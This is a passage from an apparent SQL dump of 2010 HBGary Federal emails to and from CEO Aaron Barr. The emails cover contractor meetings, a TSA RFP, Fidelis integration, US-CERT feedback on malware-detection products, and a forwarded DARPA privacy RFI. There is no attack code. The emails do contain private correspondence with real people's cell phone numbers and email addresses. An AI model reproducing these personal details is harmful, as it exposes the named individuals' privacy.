&nbsp;\r\n\r\nAaron – I know you may not have returned in time for this meeting. &nbsp;If this doesn’t work for you, let’s arrange another time to discuss in further detail the potential opportunity that Doug and Chris have for some of the customers you have worked for/with previously. &nbsp;\r\n\r\nHave a good weekend - \r\n\r\nTim \r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15438,'aaron_hbgary_com/15438.html'),(9427,'2010-08-02','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297007258.M434242P14101Q4282.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','Aaron - the meeting didn\'t happen. Ericsson had to cancel.&nbsp;We did meet with Telemus-Raytheon. They have good past performance in SAD and loads of former DS&amp;T folks who could fill some of the ops billets. I believe that\'s where Chris intends on using them.&nbsp;How was Blackhat?On Aug 2, 2010, at 7:28, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Hey Tim,How did this meeting go?AaronOn Jul 23, 2010, at 1:50 PM, Tim Riesen wrote:\r\nGentlemen - \r\n\r\nAs a follow-up to recent discussions about a potential collaboration opportunity - allow me to introduce everyone. \r\n\r\nChris C. and Aaron – Doug and Chris K. from Ericsson Federal may be able to provide some infrastructure support to the program we are pursuing. &nbsp;\r\n\r\nDoug and Chris K – Chris C. is the capture manager from TASC for the opportunity I mentioned to you. &nbsp;Aaron is the former USG program manager for the initiative. &nbsp;His company, HB Gary, and Archimedes are sub-contractors to TASC.\r\n\r\nIf possible, I’d like to arrange a meeting at TASC HQ next Friday, the 30th at 1000. &nbsp;Let me know if this works for everyone. &nbsp;Provided it works, Doug and Chris will need to have their clearances sent over to TASC. &nbsp;\r\n\r\nAaron – I know you may not have returned in time for this meeting. &nbsp;If this doesn’t work for you, let’s arrange another time to discuss in further detail the potential opportunity that Doug and Chris have for some of the customers you have worked for/with previously. &nbsp;\r\n\r\nHave a good weekend - \r\n\r\nTim \r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13264,'aaron_hbgary_com/13264.html'),(9428,'2010-08-02','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007258.M960473P14101Q4283.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Invitation: Brian Christos - Greg Hoglund Dinner Meeting @ Wed 	Jul 28 10pm - Thu Jul 29, 2010 12am (aaron@hbgary.com)','Aaron\r\n \r\nNo problem bugging me.  Byron Copeland is not responding.  I need to go to the team below him and see the status.  I haven&#39;t followed up on Social Media yet.\r\n \r\nI don&#39;t know about FIdelis integration?\r\n \r\nMaria\r\nOn Mon, Aug 2, 2010 at 6:35 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nSorry to bug you about this but wondering what the status is with USCERT. \r\n\r\nI am very interested to talk to them about:\r\nTMC\r\nSocial Media\r\nActive Defense and Fidelis XPS integration\r\n\r\n\r\n\r\n\r\nOn Jul 23, 2010, at 5:41 PM, Maria Lucas wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmore details »\r\n\r\nBrian Christos - Greg Hoglund Dinner Meeting\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen\r\nWed Jul 28 10pm – Thu Jul 29, 2010 12am Eastern Time\r\n\r\n\r\nWhere\r\nPalm Restaurant near Caesars Penny cell phone 408-316-8002 (map)\r\n\r\n\r\n\r\nCalendar\r\naaron@hbgary.com\r\n\r\n\r\nWho\r\n\r\n\r\n\r\n\r\n•\r\n\r\n\r\nMaria Lucas - organizer\r\n\r\n•\r\n\r\n\r\nGreg Hoglund\r\n\r\n•\r\n\r\n\r\nAaron Barr\r\n\r\n•\r\n\r\n\r\nbrian_n._christos@oa.eop.gov\r\n\r\n•\r\n\r\n\r\nPenny Leavy\r\nGoing?   Yes - Maybe - No    more options »\r\n\r\n\r\n\r\nInvitation from Google Calendar\r\nYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.\r\n\r\nTo stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.\r\n&lt;Mail Attachment.ics&gt;&lt;invite.ics&gt;\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',5426,'aaron_hbgary_com/5426.html'),(9429,'2010-08-02','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297007259.M368874P14101Q4284.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Follow Up','Maybe.  Where are you?  Can you come here?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 02, 2010 9:37 AM\r\nTo: Conroy, Thomas W.\r\nSubject: EXTERNAL:Follow Up\r\n\r\nHi Tom,\r\n\r\nDo you have time today for me to follow up with you on your meeting?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9817,'aaron_hbgary_com/9817.html'),(9430,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007259.M717601P14101Q4285.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: EXTERNAL:Follow Up','sure.  what time.\r\naaron\r\n\r\nOn Aug 2, 2010, at 10:53 AM, Conroy, Thomas W. wrote:\r\n\r\n> Maybe.  Where are you?  Can you come here?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 02, 2010 9:37 AM\r\n> To: Conroy, Thomas W.\r\n> Subject: EXTERNAL:Follow Up\r\n> \r\n> Hi Tom,\r\n> \r\n> Do you have time today for me to follow up with you on your meeting?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8462,'aaron_hbgary_com/8462.html'),(9431,'2010-08-02','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297007260.M114151P14101Q4286.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Follow Up','Where are you?  I\'m going to HQS for an award ceremony at 1pm.  Would\r\nbefore, during, or after that event work?  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 02, 2010 11:02 AM\r\nTo: Conroy, Thomas W.\r\nSubject: Re: EXTERNAL:Follow Up\r\n\r\nsure.  what time.\r\naaron\r\n\r\nOn Aug 2, 2010, at 10:53 AM, Conroy, Thomas W. wrote:\r\n\r\n> Maybe.  Where are you?  Can you come here?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 02, 2010 9:37 AM\r\n> To: Conroy, Thomas W.\r\n> Subject: EXTERNAL:Follow Up\r\n> \r\n> Hi Tom,\r\n> \r\n> Do you have time today for me to follow up with you on your meeting?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8182,'aaron_hbgary_com/8182.html'),(9432,'2010-08-02','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007260.M362665P14101Q4287.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: EXTERNAL:Follow Up','Sure I could do any of these today.  Let me know.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Aug 2, 2010, at 11:11 AM, \"Conroy, Thomas W.\"  wrote:\r\n\r\n> Where are you?  I\'m going to HQS for an award ceremony at 1pm.  Would\r\n> before, during, or after that event work?  \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 02, 2010 11:02 AM\r\n> To: Conroy, Thomas W.\r\n> Subject: Re: EXTERNAL:Follow Up\r\n> \r\n> sure.  what time.\r\n> aaron\r\n> \r\n> On Aug 2, 2010, at 10:53 AM, Conroy, Thomas W. wrote:\r\n> \r\n>> Maybe.  Where are you?  Can you come here?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Monday, August 02, 2010 9:37 AM\r\n>> To: Conroy, Thomas W.\r\n>> Subject: EXTERNAL:Follow Up\r\n>> \r\n>> Hi Tom,\r\n>> \r\n>> Do you have time today for me to follow up with you on your meeting?\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',14477,'aaron_hbgary_com/14477.html'),(9433,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007260.M645647P14101Q4288.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: EXTERNAL:Follow Up','I am in McLean and can be there by noon.  I am working on calls and papers today so pretty flexible.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 2, 2010, at 11:11 AM, \"Conroy, Thomas W.\"  wrote:\r\n\r\n> Where are you?  I\'m going to HQS for an award ceremony at 1pm.  Would\r\n> before, during, or after that event work?  \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 02, 2010 11:02 AM\r\n> To: Conroy, Thomas W.\r\n> Subject: Re: EXTERNAL:Follow Up\r\n> \r\n> sure.  what time.\r\n> aaron\r\n> \r\n> On Aug 2, 2010, at 10:53 AM, Conroy, Thomas W. wrote:\r\n> \r\n>> Maybe.  Where are you?  Can you come here?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Monday, August 02, 2010 9:37 AM\r\n>> To: Conroy, Thomas W.\r\n>> Subject: EXTERNAL:Follow Up\r\n>> \r\n>> Hi Tom,\r\n>> \r\n>> Do you have time today for me to follow up with you on your meeting?\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',9637,'aaron_hbgary_com/9637.html'),(9434,'2010-08-02','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297007261.M257921P14101Q4290.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: TSA ITSSS RFP Released.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, forgot to mention if you could get the TA back to us\r\ntoday that would be quite helpful. Things are moving quickly. Met with Palantir\r\n(Matt) this morning and they are with us as well (their TA enroute to us this\r\nafternoon). Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: William Luti \r\nSent: Monday, August 02, 2010 10:04 AM\r\nTo: \'Aaron Barr\'\r\nSubject: TSA ITSSS RFP Released. \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;Aaron,\r\n\r\n&nbsp;\r\n\r\nThought you should see the just released this morning TSA RFP\r\n(doubled in value to $190m). Check in when able and we can discuss further.\r\n\r\n&nbsp;\r\n\r\nBill\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInformation Technology\r\nSecurity Support Services - HSTS03-10-R ...\r\nInformation\r\nTechnology Security Support Services. Solicitation Number: HSTS03-10\r\n-R-CIO552-SOL. Agency: Department of Homeland Security ...\r\nhttps://www.fbo.gov/index?s=opportunity...form...&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8621,'aaron_hbgary_com/8621.html'),(9435,'2010-08-02','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007261.M2846P14101Q4289.eml','\"Aaron Barr\" <aaron@hbgary.com>','US CERT','Aaron\r\n \r\nI spoke to Sean Sobieraj who is the lead for the malware analysis team under Byron Copeland.  They have a meeting today so he will ask if he can get us on the calendar.  He said they\r\nare just busy....\r\n \r\nSecurity Clearances were a plus:\r\nHe will check on NDA.  \r\nWhat is your security clearance?\r\n \r\nDigital DNA Detection\r\nHe said that Digital DNA is not showing red and orange on the malware samples they&#39;ve been getting.  I explained we update Digital DNA every two weeks.  Sean did not know the last time he updated so we are following up there.\r\n\r\n \r\nI explained that Digital DNA could be a lot more effective if we had a relationship in place to share samples... he will check into that.  So the meeting with you will include not just selling the TMC but about the relationship in general -- will they share malware to improve DDNA???\r\n\r\n \r\nREcon\r\nSean hasn&#39;t really used REcon on the job yet.\r\n \r\nTraining\r\nSean&#39;s group attended training and were a bit disappointed.  Not in the instructor or his knowledge but in the content itself.  What is not clear in the training is when we do something why we are doing it and we jump around and there are lots of questions etc.  I am working with him on the training -- that we are taking his comments and incorporating them, but also to offer to fill the gaps that we didn&#39;t provide in the classroom.  \r\n\r\n \r\nOverall, we&#39;ve spent time with US-CERT and the people side of the relationship is good but the results haven&#39;t been there for them yet.  I will work on this but wanted to let you know what\r\nyou are walking into.\r\n \r\n \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',491,'aaron_hbgary_com/491.html'),(9436,'2010-08-02','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297007261.M500941P14101Q4291.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Time to talk this morning?','  I\'d contact Jerry directly, and use Mary for G2.\r\n\r\nYou can call everyone at 301-652-7190 and e-mail is firstname.lastname.\r\n\r\nJerry Mancini, VP of Engineering\r\n\r\nKurt Bertone, VP of Strategic Alliances\r\n\r\nGene Savchuk, CTO\r\n\r\nPeter George,  CEO\r\n\r\nGary Benedetti, VP of Sales\r\n\r\nDavid\r\n\r\n\r\nOn 8/2/2010 9:15 AM, Aaron Barr wrote:\r\n> A little birdie told me they are becoming more open to listening.  Give me a call after your 930.\r\n>\r\n> Aaron\r\n>\r\n> On Aug 2, 2010, at 9:12 AM, David Etue wrote:\r\n>\r\n>> You around this morning?  On the phone now and have a 9:30 call.  Should be free around 10.\r\n>>\r\n>> Signatures / policies are a good idea - need to approach it carefully due to politics.\r\n>>\r\n>> David\r\n>>\r\n>> On 8/2/2010 9:09 AM, Aaron Barr wrote:\r\n>>> Who is the best person to talk to over at Fidelis about developing signatures for the Fidelis box.  We received some positive input on the Fidelis box during the conference.  I talked to Mary there as well.  The main feedback seems to be very interested but want to see some signatures.\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',7182,'aaron_hbgary_com/7182.html'),(9437,'2010-08-02','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007261.M866319P14101Q4292.eml','\"Quintana, Alex\" <aaquint@sandia.gov>,\"Quintana, Alex\" <aaquint@sandia.gov>,','Digital DNA detection rates and Threat Management Center -- HBGary 	Federal in New Mexico.... Please Read :)','Hello Alex\r\n \r\nNew set of questions:)\r\n \r\nAlex I am curious to know how well Digital DNA is working for in identifying malware?  The Digital DNA is updated every two weeks and detection rates continuously are improving.  We have a Threat Management Center product (server farm) that we use internally  to run large volumes of malware through DDNA and REcon -- this is how we improve our detection. Daily we run feeds through and what we don&#39;t detect we reverse engineer and then add traits and modify the algorithms.\r\n\r\n \r\nThe Threat Management Center is available as a product to the Federal Government.\r\n \r\nI was wondering if we could schedule a time to have this discussion?  Ted Vera from HBGary Federal will be in New Mexico on a project and would like to meet with you?  Ted has the highest level of security clearances.\r\n\r\n \r\nWhat do you think?\r\n \r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',9829,'aaron_hbgary_com/9829.html'),(9438,'2010-08-02','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297007262.M144737P14101Q4293.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Customer Meeting','Aaron:\r\nYou are closest to this customer and will take your lead.\r\n\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 02, 2010 10:17 AM\r\nTo: Pisani, Albert A. (TASC)\r\nSubject: Customer Meeting\r\n\r\nHi Al,\r\n\r\nI have been thinking about this and here are my thoughts.  My initial\r\nidea of you going in to see the customer was a low-key, brief meeting\r\nwith Mary Beth and John to put an executive face to the new TASC, and\r\ntalk about TASC being mission focused, agile, capable.  Express our\r\nexcitement over this opportunity, and we think we are going to be able\r\nto provide them with a team unlike any other to exceed their mission\r\ngoals.  I think going in there with too many people will send the wrong\r\nmessage.  I really enjoy Rays experience and knowledge in operations but\r\nhis closeness to the organization may come off the wrong way.  I have\r\nseen it happen before with this exact group on more than one occasion,\r\nboth with SAIC and Abraxis.\r\n\r\nI know these folks very well and I really think a big meeting will come\r\noff the wrong way.\r\n\r\nLove to hear your thoughts on this.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9416,'aaron_hbgary_com/9416.html'),(9439,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007262.M473800P14101Q4294.eml','\"Jerry Mancini\" <jerry.mancini@fidelissecurity.com>','Fidelis Discussion','Hi Jerry,\r\n\r\nJust getting back from Vegas and processing a lot of good contacts and feedback.\r\n\r\nLots of general interest related to Fidelis and HBGary integration.  Lots of interest on Fidelis use being able to do session reconstruction and some analysis.  But the lack of base and generated rules tend to put the box right back into the strict DLP rather than the larger perimeter defense category.  I had a brief conversation with Mary out there on this.  Is there any internal momentum or interest in developing a set of default rules?  Our plan is to eventually work on what it might look like to generate rules using Active Defense hashs but we haven\'t got their yet, just don\'t have the manpower right now to do it.  We know its very possible and are pitching the combined capability as an offering, its just slow.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4179,'aaron_hbgary_com/4179.html'),(9440,'2010-08-02','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297007262.M818413P14101Q4295.eml','aaron@hbgary.com','DARPA RFI','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=eac39969d68f5cc5ed62bb8978a2597f&amp;tab=core&amp;_cview=0\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRequest\r\nfor Information (RFI) \r\n\r\nDARPA-SN-10-60\r\n\r\n\r\nSHIELD \r\n\r\n&nbsp;\r\n\r\nIn recent years, interest in\r\nsocial networks has dramatically increased. Massive amounts of social\r\nnetwork data are being collected for military, government and commercial\r\npurposes. In all three sectors, there is an ever growing need for the exchange\r\nor publication of this data for analysis and scientific research activities.\r\nHowever, this data is rich in private details about individuals whose privacy\r\nmust be protected and great care must be taken to do so. A major technical\r\nchallenge for social network data exchange and publication is the simultaneous\r\npreservation of data privacy and security on the one hand and information utility\r\non the other. The Defense Advanced Research Projects Agency (DARPA)\r\nInformation Processing Techniques Office (IPTO) is requesting information on\r\nareas of research related to the technology required to meet this challenge. \r\n\r\n&nbsp;\r\n\r\nThe Executive Branch of the\r\nUnited States Government has been proactive in developing policies and\r\nprocedures for safeguarding personally identifiable information, defined in www.whitehouse.gov/omb/memoranda/fy2007/m07-16.pdf\r\nas &#8220;information which can be used to distinguish or trace an\r\nindividual\'s identity, such as their name, social security number, biometric\r\nrecords, etc. alone, or when combined with other personal or identifying\r\ninformation which is linked or linkable to a specific individual, such as date\r\nand place of birth, mother&#8217;s maiden name, etc.&#8221; The Department of\r\nDefense has also worked to preserve the confidentiality of the personally\r\nidentifiable information of Service members and the civilian workforce (www.dod.mil/pubs/foi/withhold.pdf).\r\nWhile the Executive Branch concerns are driven in large measure by identity\r\ntheft and cyber-crime, operations security (OPSEC) is a major additional\r\nconcern for the Department of Defense. \r\n\r\n&nbsp;\r\n\r\nSocial networks are\r\ngenerally represented by graph structures consisting of vertices and edges.\r\nWhile there has been a great deal of work on privacy preservation in the\r\nexchange and publication of relational data, much of this work cannot be\r\ndirectly applied to the graph structures representing social networks. Privacy\r\npreservation in graph structures is a greater challenge in several ways.\r\nModeling the attacks on privacy as well as the background knowledge used by\r\nperpetrators of these attacks is more complex. In the case of relational data,\r\na set of attributes serves as a quasi-identifier used to associate data from\r\nmultiple tables. Attacks are usually based on identifying individuals using\r\nthese quasi-identifiers. For a social network, however, a wide variety of types\r\nof information can be used including labels of vertices and edges, neighborhood\r\ngraphs, induced sub-graphs and their combinations. \r\n\r\n&nbsp;\r\n\r\nIt is much more difficult to\r\ncharacterize information loss that results from anonymizing social network\r\ngraph data than relational data. For example, the information loss in an\r\nanonymized table could be computed as the sum of information loss in individual\r\ntuples. We could, for example, measure the information loss at the tuple level\r\nby computing the distance between a tuple in the anonymized table and the\r\ncorresponding tuple in the original table. In contrast, it is very difficult to\r\ncompare a social network graph by comparing vertices and edges individually.\r\nTwo social networks having the same number of vertices and edges could have\r\nvery different graph properties such as connectivity, betweenness and diameter.\r\n\r\n&nbsp;\r\n\r\nAnonymization\r\ntechniques for social network data can also be more challenging than those for\r\nrelational data. Anonymizing a group of tuples in one part of a table does not\r\naffect tuples in another part. This characteristic of tables supports the application\r\nof divide-and-conquer techniques. The situation in graphs is more complex\r\nbecause changing labels of vertices and edges could affect the neighborhoods of\r\nother vertices while removing or adding vertices and edges could affect\r\nproperties of the network. \r\n\r\n&nbsp;\r\n\r\nDARPA is requesting white\r\npapers that describe approaches to either of the options below: \r\n\r\n&nbsp;\r\n\r\nOption 1:\r\nAnswer the following questions relating to the privacy-preserving publication\r\nof social network data: \r\n\r\n&nbsp;\r\n\r\n1. Privacy Models. \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\na. How do we specify elements of information that must remain\r\nprivate? \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nb. What properties must an anonymized network have to ensure that\r\nthose elements remain private and how do we demonstrate that? \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;\r\n\r\n2. Models of Background\r\nKnowledge of Adversaries. \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\na. How do we express knowledge that adversaries can use to defeat\r\nanonymization? \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nb. What assumptions can we make about the nature and extent of\r\nthat knowledge? \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nc. How do adversaries use that knowledge? \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;\r\n\r\n3. Anonymization\r\nAlgorithms. \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\na. How do we transform a network so that a given privacy model is\r\nsatisfied? \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nb. How do we define and compute metric(s) that indicate the degree\r\nto which the transformed network satisfies the privacy model (particularly with\r\nconsideration of an adversary&#8217;s background knowledge)? \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;\r\n\r\n4. Information Metrics. \r\n\r\na.\r\nHow do we define the purpose for which the data will be used? \r\n\r\n&nbsp;\r\n\r\nb.\r\nHow do we define and compute metrics for measuring the utility of anonymized\r\ndata when \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\ni. the purpose for which the data will be used is known in\r\nadvance \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nii. the purpose for which the data will be used is not known\r\nin advance \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;\r\n\r\nc.\r\nHow do we define and compute metrics for the quality of the anonymized data\r\nrelative to the quality of the original data? \r\n\r\n&nbsp;\r\n\r\nOr \r\n\r\n&nbsp;\r\n\r\nOption 2:\r\nDescribe your own version of Option 1 that will lead to privacy-preserving\r\npublication of social network data. Then answer your own questions.\r\n\r\n&nbsp;\r\n\r\nSUBMISSION\r\nFORMAT \r\n\r\nFormat specifications for\r\nwhite papers include 12 point font, single-spaced, single-sided, 8.5 by 11\r\ninches paper, with 1-inch margins in either Microsoft Word or Adobe PDF format.\r\nEach white paper will consist of: \r\n\r\n&nbsp;\r\n\r\n1. Cover Page (1 page) \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\na. Title \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nb. Organization \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nc. Respondent&#8217;s technical and 